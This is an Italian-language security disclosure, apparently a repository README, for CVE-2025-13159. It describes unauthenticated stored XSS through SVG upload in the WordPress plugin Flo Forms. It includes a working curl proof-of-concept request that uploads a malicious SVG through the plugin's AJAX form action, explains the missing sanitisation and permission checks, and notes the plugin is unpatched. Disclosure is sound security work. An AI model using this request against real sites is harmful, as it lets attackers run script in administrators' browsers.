
Disclosure for CVE-2025-13159
Divulgazione per CVE-2025-13159
Questo repository divulga una vulnerabilità scoperta in Flo Forms – Easy Drag & Drop Form Builder <= 1.0.43, plugin WordPress sviluppato da flothemesplugins.
| CVE ID | Tipo | Componente | Impatto |
|---|---|---|---|
| CVE-2025-13159 | Cross-Site Scripting memorizzato non autenticato tramite caricamento SVG | public/class-flo-forms-public.php | Un attaccante non autenticato può eseguire JS |
curl -k -X POST "https://localhost:8080/wp-admin/admin-ajax.php" \
-F 'action=flo_form_submit' \
-F 'flo_fid=<your fid>' \
-F 'flo-form-model={}' \
-F 'flo-form-schema={"groups":[]}' \
-F '[email protected];type=image/svg+xml'
※Se il fid all'interno dell'oggetto non esiste, la richiesta fallirà.
Il plugin estende i tipi MIME consentiti da WordPress per includere image/svg+xml ed espone un'azione AJAX non autenticata (flo_form_submit) che accetta allegati e li passa a media_handle_upload() senza alcuna sanificazione SVG né controllo delle autorizzazioni. Gli SVG caricati vengono poi serviti come image/svg+xml e collegati dall'interfaccia di amministrazione. Quando un amministratore apre l'allegato (direttamente o tramite /), il browser interpreta il documento SVG ed esegue gli script incorporati, causando XSS memorizzato.
È passato un mese, ma la patch non è ancora stata pubblicata e il download stesso è stato sospeso. Questa volta la riproduzione della PoC non riusciva facilmente e sono rimasto bloccato per più di un'ora, ma alla fine si è scoperto che avevo dimenticato di mettere il simbolo (@) prima di XSS.svg.
Nome: MooseLove
Ruolo: Ricercatore di sicurezza indipendente / bug hunter
Contatto: Disponibile su richiesta
Questa segnalazione è fornita per la sensibilizzazione sulla sicurezza pubblica. Diffusione libera con attribuzione.